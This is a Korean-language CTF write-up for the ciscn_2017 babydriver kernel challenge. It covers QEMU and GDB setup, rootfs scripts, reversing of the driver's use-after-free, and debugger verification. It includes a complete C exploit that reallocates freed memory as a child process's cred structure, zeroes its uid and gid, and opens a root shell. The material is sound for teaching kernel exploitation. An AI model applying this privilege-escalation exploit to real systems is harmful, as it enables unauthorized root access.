커널 익스플로잇 환경 구축
커널 익스플로잇 학습을 위해 다음과 같은 환경을 구성한다.
- 가상화 기능이 활성화된 Ubuntu 20.04 환경
- 디버깅을 위한 pwndbg가 적용된 GDB
- QEMU 에뮬레이터 설치
sudo apt-get install qemu-system-x86 - 가젯 검색 속도가 우수한 ropper
- 커널 이미지 변환을 위한 vmlinux_to_elf 스크립트
- 파일 시스템 압축 해제 스크립트 (extract_fs.sh)
#!/bin/bash if [ "$#" -ne 1 ]; then echo "Usage: $0 <rootfs-cpio>" >&2 echo "Notice: Execute this in an empty directory for decompression." >&2 exit 2 fi full_path="$(pwd)/$1" dir_name=$(dirname "$full_path") file_name=$(basename "$full_path") cd "$dir_name" mv "$file_name" "${file_name}.gz" gunzip "${file_name}.gz" cpio -idmv < "$file_name" rm "$file_name" - 파일 시스템 압축 스크립트 (build_fs.sh)
#!/bin/bash if [ "$#" -ne 1 ]; then echo "Usage: $0 <output-cpio>" >&2 exit 2 fi find . -print0 | cpio --null -o --format=newc | gzip -9 > "$1" mv "$1" ../
커널 Use-After-Free 취약점 분석
이번 실습에서는 ciscn_2017-babydriver 문제를 통해 커널 UAF를 분석한다. 제공된 파일 중 불필요한 파일을 제거하면 boot.sh(QEMU 실행 스크립트), rootfs.cpio(파일 시스템 이미지), bzImage(압축된 커널 이미지)가 남는다.
디버깅을 위해 boot.sh에 -s 옵션을 추가하고, extract_fs.sh를 이용해 rootfs.cpio의 압축을 해제한다. 해제된 init 스크립트를 확인해보면, flag 파일의 권한을 root만 읽을 수 있도록 설정하고 insmod로 babydriver.ko 커널 모듈을 로드하는 것을 볼 수 있다.
babydriver.ko 리버싱
IDA를 통해 babydriver.ko를 분석한다. 주요 함수들은 다음과 같다.
- babyopen: 0x40 크기의 메모리를 할당하여 전역 구조체
babydev_struct에 해당 버퍼 포인터를 저장한다. - babyread / babywrite: 각각 커널 공간에서 사용자 공간으로, 사용자 공간에서 커널 공간으로 데이터를 복사한다.
- babyioctl:
0x10001명령을 통해 기존에 할당된 메모리를 해제하고 새로운 크기로 재할당한다. - babyrelease: 할당된 메모리를 해제(
kfree)하지만,babydev_struct내의 포인터를 초기화하지 않는다. 이로 인해 Dangling Pointer가 발생하며 UAF 취약점이 유발된다.
동적 디버깅 기초
디버깅을 위해 테스트 코드를 작성한다.
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main() {
int desc = open("/dev/babydev", O_RDWR);
char payload[] = "kernel";
write(desc, payload, strlen(payload));
close(desc);
return 0;
}정적 컴파일을 수행한다.
gcc test_app.c -static -o test_app모듈의 정확한 로드 주소를 파악해야 한다. init 스크립트를 수정하여 root 권한으로 쉘에 진입한 후, 파일 시스템을 다시 패키징하고 QEMU를 부팅하여 다음 명령어로 주소를 확인한다.
cat /sys/module/babydriver/sections/.text확인한 주소를 바탕으로 GDB에서 심볼을 로드한다.
add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000babywrite 등에 브레이크포인트를 설정하고, target remote :1234를 통해 QEMU에 원격으로 연결하여 디버깅을 진행할 수 있다.
cred 구조체와 권한 상승
리눅스 커널에서 각 프로세스는 cred 구조체를 통해 권한을 관리한다. 이 구조체에는 uid(실제 사용자 ID), euid(유효 사용자 ID), gid 등이 포함되어 있으며, 이 값들을 0으로 덮어쓰면 root 권한을 획득할 수 있다. cred 구조체의 크기는 커널 버전에 따라 다르다.
struct cred {
atomic_t usage;
atomic_t subscribers;
void *put_addr;
unsigned magic;
kuid_t uid; /* real UID */
kgid_t gid; /* real GID */
kuid_t suid; /* saved UID */
kgid_t sgid; /* saved GID */
kuid_t euid; /* effective UID */
kgid_t egid; /* effective GID */
kuid_t fsuid;
kgid_t fsgid;
// ...
} __randomize_layout;익스플로잇 코드 작성
UAF 취약점을 이용하여 권한을 상승시키는 과정은 다음과 같다.
/dev/babydev를 두 번 열어 두 개의 파일 디스크립터를 확보한다. 두 디스크립터는 동일한 버퍼를 가리킨다.ioctl을 호출하여 해당 버퍼의 크기를cred구조체의 크기(0xa8)로 변경한다.- 첫 번째 디스크립터를 닫아(
close) 버퍼를 해제한다. 이때 Dangling Pointer가 발생한다. fork()를 호출하여 자식 프로세스를 생성한다. 커널은 자식 프로세스의cred구조체를 위해 방금 해제된 버퍼를 재사용하게 된다.- 두 번째 디스크립터를 통해 해당 버퍼(자식 프로세스의
cred구조체)에 0을 쓰면 자식 프로세스의uid와gid가 0으로 덮어씌워진다.
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <stdio.h>
#define CHANGE_SIZE 0x10001
int main() {
int handle_one = open("/dev/babydev", O_RDWR);
int handle_two = open("/dev/babydev", O_RDWR);
// 버퍼 크기를 cred 구조체 크기에 맞춤
ioctl(handle_one, CHANGE_SIZE, 0xa8);
// UAF 유발: 메모리 해제 후에도 handle_two는 여전히 해당 메모리를 참조
close(handle_one);
// 자식 프로세스 생성
if (!fork()) {
char zero_buf[28];
memset(zero_buf, '\x00', sizeof(zero_buf));
// 해제된 메모리(자식 프로세스의 cred)에 0을 써서 uid/gid를 0으로 변경
write(handle_two, zero_buf, sizeof(zero_buf));
puts("[+] Privilege Escalation Success!");
system("/bin/sh");
} else {
wait(NULL);
}
close(handle_two);
return 0;
}코드를 정적 컴파일한 후, flag 파일을 생성하고 init 스크립트에서 일반 사용자(uid=1000)로 로그인하도록 설정하여 검증한다. 파일 시스템을 다시 패키징하고 QEMU를 부팅하여 익스플로잇을 실행하면 정상적으로 root 권한을 획득할 수 있다.
동적 분석을 통한 검증
GDB를 통해 공격 과정을 더 자세히 관찰할 수 있다. babyrelease에 브레이크포인트를 걸고 kfree가 호출될 때의 레지스터 값을 확인한다.
이후 babywrite에 브레이크포인트를 설정하고 _copy_from_user 호출 직전의 레지스터를 확인해보면, rdi 레지스터가 kfree 때와 동일한 주소를 가리키고 있음을 알 수 있다. 이 주소는 바로 자식 프로세스의 cred 구조체가 할당된 위치다.
해당 메모리 값을 확인해보면 초기 uid가 0x3e8(10진수 1000)으로 설정되어 있으나, _copy_from_user 실행 후 uid와 gid가 0으로 덮어씌워진 것을 확인할 수 있다.